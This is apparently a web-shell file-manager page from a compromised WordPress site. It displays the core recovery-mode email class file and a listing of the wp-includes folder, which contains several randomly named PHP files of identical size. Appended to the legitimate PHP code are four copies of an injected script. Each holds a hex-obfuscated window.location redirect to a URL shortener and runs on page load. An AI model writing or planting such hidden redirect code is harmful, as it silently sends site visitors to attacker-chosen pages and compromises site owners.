Submit
Path:
~
/
home
/
ampckwxt
/
public_html
/
sensassure.com
/
wp-includes
/
File Content:
class-wp-recovery-mode-email-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Email_Link class * * @package WordPress * @since 5.2.0 */ /** * Core class used to send an email with a link to begin Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Email_Service { const RATE_LIMIT_OPTION = 'recovery_mode_email_last_sent'; /** * Service to generate recovery mode URLs. * * @since 5.2.0 * @var WP_Recovery_Mode_Link_Service */ private $link_service; /** * WP_Recovery_Mode_Email_Service constructor. * * @since 5.2.0 * * @param WP_Recovery_Mode_Link_Service $link_service */ public function __construct( WP_Recovery_Mode_Link_Service $link_service ) { $this->link_service = $link_service; } /** * Sends the recovery mode email if the rate limit has not been sent. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return true|WP_Error True if email sent, WP_Error otherwise. */ public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) { $last_sent = get_option( self::RATE_LIMIT_OPTION ); if ( ! $last_sent || time() > $last_sent + $rate_limit ) { if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) { return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) ); } $sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension ); if ( $sent ) { return true; } return new WP_Error( 'email_failed', sprintf( /* translators: %s: mail() */ __( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ), 'mail()' ) ); } $err_message = sprintf( /* translators: 1: Last sent as a human time diff, 2: Wait time as a human time diff. */ __( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ), human_time_diff( $last_sent ), human_time_diff( $last_sent + $rate_limit ) ); return new WP_Error( 'email_sent_already', $err_message ); } /** * Clears the rate limit, allowing a new recovery mode email to be sent immediately. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function clear_rate_limit() { return delete_option( self::RATE_LIMIT_OPTION ); } /** * Sends the Recovery Mode email to the site admin email address. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return bool Whether the email was sent successfully. */ private function send_recovery_mode_email( $rate_limit, $error, $extension ) { $url = $this->link_service->generate_url(); $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $switched_locale = switch_to_locale( get_locale() ); if ( $extension ) { $cause = $this->get_cause( $extension ); $details = wp_strip_all_tags( wp_get_extension_error_description( $error ) ); if ( $details ) { $header = __( 'Error Details' ); $details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details; } } else { $cause = ''; $details = ''; } /** * Filters the support message sent with the the fatal error protection email. * * @since 5.2.0 * * @param string $message The Message to include in the email. */ $support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) ); /** * Filters the debug information included in the fatal error protection email. * * @since 5.3.0 * * @param array $message An associative array of debug information. */ $debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) ); /* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */ $message = __( 'Howdy! WordPress has a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email. ###CAUSE### First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues. ###SUPPORT### If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further. ###LINK### To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires. When seeking help with this issue, you may be asked for some of the following information: ###DEBUG### ###DETAILS###' ); $message = str_replace( array( '###LINK###', '###EXPIRES###', '###CAUSE###', '###DETAILS###', '###SITEURL###', '###PAGEURL###', '###SUPPORT###', '###DEBUG###', ), array( $url, human_time_diff( time() + $rate_limit ), $cause ? "\n{$cause}\n" : "\n", $details, home_url( '/' ), home_url( $_SERVER['REQUEST_URI'] ), $support, implode( "\r\n", $debug ), ), $message ); $email = array( 'to' => $this->get_recovery_mode_email_address(), /* translators: %s: Site title. */ 'subject' => __( '[%s] Your Site is Experiencing a Technical Issue' ), 'message' => $message, 'headers' => '', 'attachments' => '', ); /** * Filters the contents of the Recovery Mode email. * * @since 5.2.0 * @since 5.6.0 The `$email` argument includes the `attachments` key. * * @param array $email { * Used to build a call to wp_mail(). * * @type string|array $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject * @type string $message Message contents * @type string|array $headers Optional. Additional headers. * @type string|array $attachments Optional. Files to attach. * } * @param string $url URL to enter recovery mode. */ $email = apply_filters( 'recovery_mode_email', $email, $url ); $sent = wp_mail( $email['to'], wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ), $email['message'], $email['headers'], $email['attachments'] ); if ( $switched_locale ) { restore_previous_locale(); } return $sent; } /** * Gets the email address to send the recovery mode link to. * * @since 5.2.0 * * @return string Email address to send recovery mode link to. */ private function get_recovery_mode_email_address() { if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) { return RECOVERY_MODE_EMAIL; } return get_option( 'admin_email' ); } /** * Gets the description indicating the possible cause for the error. * * @since 5.2.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return string Message about which extension caused the error. */ private function get_cause( $extension ) { if ( 'plugin' === $extension['type'] ) { $plugin = $this->get_plugin( $extension ); if ( false === $plugin ) { $name = $extension['slug']; } else { $name = $plugin['Name']; } /* translators: %s: Plugin name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name ); } else { $theme = wp_get_theme( $extension['slug'] ); $name = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug']; /* translators: %s: Theme name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name ); } return $cause; } /** * Return the details for a single plugin based on the extension data from an error. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found. */ private function get_plugin( $extension ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); // Assume plugin main file name first since it is a common convention. if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) { return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ]; } else { foreach ( $plugins as $file => $plugin_data ) { if ( str_starts_with( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) { return $plugin_data; } } } return false; } /** * Return debug information in an easy to manipulate format. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array An associative array of debug information. */ private function get_debug( $extension ) { $theme = wp_get_theme(); $wp_version = get_bloginfo( 'version' ); if ( $extension ) { $plugin = $this->get_plugin( $extension ); } else { $plugin = null; } $debug = array( 'wp' => sprintf( /* translators: %s: Current WordPress version number. */ __( 'WordPress version %s' ), $wp_version ), 'theme' => sprintf( /* translators: 1: Current active theme name. 2: Current active theme version. */ __( 'Active theme: %1$s (version %2$s)' ), $theme->get( 'Name' ), $theme->get( 'Version' ) ), ); if ( null !== $plugin ) { $debug['plugin'] = sprintf( /* translators: 1: The failing plugins name. 2: The failing plugins version. */ __( 'Current plugin: %1$s (version %2$s)' ), $plugin['Name'], $plugin['Version'] ); } $debug['php'] = sprintf( /* translators: %s: The currently used PHP version. */ __( 'PHP version %s' ), PHP_VERSION ); return $debug; } } ob_start(); ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script>
Submit
FILE
FOLDER
Name
Size
Permission
Action
ID3
---
0755
IXR
---
0755
PHPMailer
---
0755
Requests
---
0755
SimplePie
---
0755
Text
---
0755
assets
---
0755
block-bindings
---
0755
block-patterns
---
0755
block-supports
---
0755
blocks
---
0755
certificates
---
0755
css
---
0755
customize
---
0755
fonts
---
0755
html-api
---
0755
images
---
0755
interactivity-api
---
0755
js
---
0755
l10n
---
0755
php-compat
---
0755
pomo
---
0755
rest-api
---
0755
sitemaps
---
0755
sodium_compat
---
0755
style-engine
---
0755
theme-compat
---
0755
widgets
---
0755
.htaccess
0 bytes
0644
7GJdRVlH4Fm.php
52991 bytes
0644
ONGHw4ne8hR.php
52991 bytes
0644
VuqwCNRXQrH.php
52991 bytes
0644
admin-bar.php
37792 bytes
0644
admin.php
5362 bytes
0644
atomlib.php
12764 bytes
0644
author-template.php
19637 bytes
0644
block-bindings.php
6280 bytes
0644
block-editor.php
29483 bytes
0644
block-i18n.json
316 bytes
0644
block-patterns.php
13899 bytes
0644
block-template-utils.php
62593 bytes
0644
block-template.php
16042 bytes
0644
blocks.php
113737 bytes
0644
bookmark-template.php
13454 bytes
0644
bookmark.php
16113 bytes
0644
cache-compat.php
6655 bytes
0644
cache.php
14160 bytes
0644
canonical.php
35209 bytes
0644
capabilities.php
43404 bytes
0644
category-template.php
57689 bytes
0644
category.php
13515 bytes
0644
class-IXR.php
3303 bytes
0644
class-avif-info.php
30301 bytes
0644
class-feed.php
539 bytes
0644
class-http.php
367 bytes
0644
class-json.php
43684 bytes
0644
class-oembed.php
401 bytes
0644
class-phpass.php
7457 bytes
0644
class-phpmailer.php
664 bytes
0644
class-pop3.php
21807 bytes
0644
class-requests.php
2923 bytes
0644
class-simplepie.php
1139 bytes
0644
class-smtp.php
457 bytes
0644
class-snoopy.php
37715 bytes
0644
class-walker-category-dropdown.php
3155 bytes
0644
class-walker-category.php
9163 bytes
0644
class-walker-comment.php
14907 bytes
0644
class-walker-nav-menu.php
12730 bytes
0644
class-walker-page-dropdown.php
3396 bytes
0644
class-walker-page.php
8298 bytes
0644
class-wp-admin-bar.php
18560 bytes
0644
class-wp-ajax-response.php
5952 bytes
0644
class-wp-application-passwords.php
17785 bytes
0644
class-wp-block-bindings-registry.php
9149 bytes
0644
class-wp-block-bindings-source.php
3678 bytes
0644
class-wp-block-editor-context.php
2036 bytes
0644
class-wp-block-list.php
5443 bytes
0644
class-wp-block-metadata-registry.php
12581 bytes
0644
class-wp-block-parser-block.php
3241 bytes
0644
class-wp-block-parser-frame.php
2703 bytes
0644
class-wp-block-parser.php
12218 bytes
0644
class-wp-block-pattern-categories-registry.php
6057 bytes
0644
class-wp-block-patterns-registry.php
11469 bytes
0644
class-wp-block-styles-registry.php
7089 bytes
0644
class-wp-block-supports.php
6312 bytes
0644
class-wp-block-template.php
2719 bytes
0644
class-wp-block-templates-registry.php
7917 bytes
0644
class-wp-block-type-registry.php
5699 bytes
0644
class-wp-block-type.php
17951 bytes
0644
class-wp-block.php
23727 bytes
0644
class-wp-classic-to-block-menu-converter.php
4774 bytes
0644
class-wp-comment-query.php
49081 bytes
0644
class-wp-comment.php
10123 bytes
0644
class-wp-customize-control.php
26537 bytes
0644
class-wp-customize-manager.php
203279 bytes
0644
class-wp-customize-nav-menus.php
58346 bytes
0644
class-wp-customize-panel.php
11396 bytes
0644
class-wp-customize-section.php
11895 bytes
0644
class-wp-customize-setting.php
30648 bytes
0644
class-wp-customize-widgets.php
72896 bytes
0644
class-wp-date-query.php
36418 bytes
0644
class-wp-dependencies.php
15825 bytes
0644
class-wp-dependency.php
3313 bytes
0644
class-wp-duotone.php
41469 bytes
0644
class-wp-editor.php
73021 bytes
0644
class-wp-embed.php
16617 bytes
0644
class-wp-error.php
8188 bytes
0644
class-wp-exception.php
939 bytes
0644
class-wp-fatal-error-handler.php
8836 bytes
0644
class-wp-feed-cache-transient.php
3862 bytes
0644
class-wp-feed-cache.php
969 bytes
0644
class-wp-hook.php
16686 bytes
0644
class-wp-http-cookie.php
8075 bytes
0644
class-wp-http-curl.php
13227 bytes
0644
class-wp-http-encoding.php
7375 bytes
0644
class-wp-http-ixr-client.php
4187 bytes
0644
class-wp-http-proxy.php
6666 bytes
0644
class-wp-http-requests-hooks.php
2708 bytes
0644
class-wp-http-requests-response.php
5086 bytes
0644
class-wp-http-response.php
3663 bytes
0644
class-wp-http-streams.php
16859 bytes
0644
class-wp-http.php
42265 bytes
0644
class-wp-image-editor-gd.php
20848 bytes
0644
class-wp-image-editor-imagick.php
35421 bytes
0644
class-wp-image-editor.php
18213 bytes
0644
class-wp-list-util.php
8129 bytes
0644
class-wp-locale-switcher.php
7462 bytes
0644
class-wp-locale.php
17569 bytes
0644
class-wp-matchesmapregex.php
2514 bytes
0644
class-wp-meta-query.php
31217 bytes
0644
class-wp-metadata-lazyloader.php
7519 bytes
0644
class-wp-navigation-fallback.php
9897 bytes
0644
class-wp-network-query.php
20543 bytes
0644
class-wp-network.php
12982 bytes
0644
class-wp-object-cache.php
18210 bytes
0644
class-wp-oembed-controller.php
7591 bytes
0644
class-wp-oembed.php
32292 bytes
0644
class-wp-paused-extensions-storage.php
5797 bytes
0644
class-wp-phpmailer.php
4488 bytes
0644
class-wp-plugin-dependencies.php
26001 bytes
0644
class-wp-post-type.php
31366 bytes
0644
class-wp-post.php
7174 bytes
0644
class-wp-query.php
158709 bytes
0644
class-wp-recovery-mode-cookie-service.php
7563 bytes
0644
class-wp-recovery-mode-email-service.php
11869 bytes
0644
class-wp-recovery-mode-key-service.php
5570 bytes
0644
class-wp-recovery-mode-link-service.php
4149 bytes
0644
class-wp-recovery-mode.php
12139 bytes
0644
class-wp-rewrite.php
64374 bytes
0644
class-wp-role.php
3209 bytes
0644
class-wp-roles.php
9272 bytes
0644
class-wp-script-modules.php
20149 bytes
0644
class-wp-scripts.php
29030 bytes
0644
class-wp-session-tokens.php
8005 bytes
0644
class-wp-simplepie-file.php
4094 bytes
0644
class-wp-simplepie-sanitize-kses.php
2596 bytes
0644
class-wp-site-query.php
32311 bytes
0644
class-wp-site.php
8140 bytes
0644
class-wp-speculation-rules.php
8213 bytes
0644
class-wp-styles.php
11696 bytes
0644
class-wp-tax-query.php
20241 bytes
0644
class-wp-taxonomy.php
19245 bytes
0644
class-wp-term-query.php
41555 bytes
0644
class-wp-term.php
5984 bytes
0644
class-wp-text-diff-renderer-inline.php
1665 bytes
0644
class-wp-text-diff-renderer-table.php
19566 bytes
0644
class-wp-textdomain-registry.php
11167 bytes
0644
class-wp-theme-json-data.php
2495 bytes
0644
class-wp-theme-json-resolver.php
36424 bytes
0644
class-wp-theme-json-schema.php
8053 bytes
0644
class-wp-theme-json.php
164231 bytes
0644
class-wp-theme.php
66496 bytes
0644
class-wp-token-map.php
29304 bytes
0644
class-wp-url-pattern-prefixer.php
5488 bytes
0644
class-wp-user-meta-session-tokens.php
3676 bytes
0644
class-wp-user-query.php
44341 bytes
0644
class-wp-user-request.php
2991 bytes
0644
class-wp-user.php
23680 bytes
0644
class-wp-walker.php
14008 bytes
0644
class-wp-widget-factory.php
4033 bytes
0644
class-wp-widget.php
19115 bytes
0644
class-wp-xmlrpc-server.php
216130 bytes
0644
class-wp.php
27191 bytes
0644
class-wpdb.php
118284 bytes
0644
class.wp-dependencies.php
373 bytes
0644
class.wp-scripts.php
343 bytes
0644
class.wp-styles.php
338 bytes
0644
comment-template.php
103790 bytes
0644
comment.php
132233 bytes
0644
compat.php
17062 bytes
0644
cron.php
43344 bytes
0644
date.php
400 bytes
0644
default-constants.php
12051 bytes
0644
default-filters.php
37383 bytes
0644
default-widgets.php
2981 bytes
0644
deprecated.php
192250 bytes
0644
embed-template.php
338 bytes
0644
embed.php
38858 bytes
0644
error-protection.php
4807 bytes
0644
error_log
4962 bytes
0644
feed-atom-comments.php
6175 bytes
0644
feed-atom.php
3792 bytes
0644
feed-rdf.php
3339 bytes
0644
feed-rss.php
1860 bytes
0644
feed-rss2-comments.php
4807 bytes
0644
feed-rss2.php
4470 bytes
0644
feed.php
24097 bytes
0644
fonts.php
10437 bytes
0644
formatting.php
343607 bytes
0644
functions.php
288232 bytes
0644
functions.wp-scripts.php
15244 bytes
0644
functions.wp-styles.php
9269 bytes
0644
general-template.php
173184 bytes
0644
global-styles-and-settings.php
21947 bytes
0644
http.php
25998 bytes
0644
https-detection.php
6543 bytes
0644
https-migration.php
5427 bytes
0644
index.htm
1092 bytes
0644
index.html
1092 bytes
0644
index.php
1092 bytes
0644
kses.php
75158 bytes
0644
l10n.php
69216 bytes
0644
link-template.php
157801 bytes
0644
load.php
56440 bytes
0644
locale.php
162 bytes
0644
media-template.php
63746 bytes
0644
media.php
221182 bytes
0644
meta.php
65929 bytes
0644
ms-blogs.php
26531 bytes
0644
ms-default-constants.php
5607 bytes
0644
ms-default-filters.php
7322 bytes
0644
ms-deprecated.php
22445 bytes
0644
ms-files.php
3430 bytes
0644
ms-functions.php
92268 bytes
0644
ms-load.php
20569 bytes
0644
ms-network.php
4468 bytes
0644
ms-settings.php
4883 bytes
0644
ms-site.php
42006 bytes
0644
nav-menu-template.php
26676 bytes
0644
nav-menu.php
45059 bytes
0644
option.php
103751 bytes
0644
php.ini
105 bytes
0644
pluggable-deprecated.php
7010 bytes
0644
pluggable.php
123386 bytes
0644
plugin.php
37906 bytes
0644
post-formats.php
7788 bytes
0644
post-template.php
69334 bytes
0644
post-thumbnail-template.php
11565 bytes
0644
post.php
292398 bytes
0644
query.php
37721 bytes
0644
registration-functions.php
200 bytes
0644
registration.php
200 bytes
0644
rest-api.php
100943 bytes
0644
revision.php
31427 bytes
0644
rewrite.php
20227 bytes
0644
robots-template.php
5871 bytes
0644
rss-functions.php
255 bytes
0644
rss.php
23113 bytes
0644
script-loader.php
133948 bytes
0644
script-modules.php
8398 bytes
0644
session.php
258 bytes
0644
shortcodes.php
24737 bytes
0644
sitemaps.php
3924 bytes
0644
speculative-loading.php
9244 bytes
0644
spl-autoload-compat.php
441 bytes
0644
style-engine.php
8249 bytes
0644
taxonomy.php
176913 bytes
0644
template-canvas.php
1215 bytes
0644
template-loader.php
3698 bytes
0644
template.php
24840 bytes
0644
theme-i18n.json
1526 bytes
0644
theme-previews.php
3518 bytes
0644
theme-templates.php
6924 bytes
0644
theme.json
8704 bytes
0644
theme.php
134989 bytes
0644
update.php
38189 bytes
0644
user.php
176509 bytes
0644
vars.php
7248 bytes
0644
version.php
1776 bytes
0644
widgets.php
71405 bytes
0644
wp-db.php
445 bytes
0644
wp-diff.php
1485 bytes
0644
N4ST4R_ID | Naxtarrr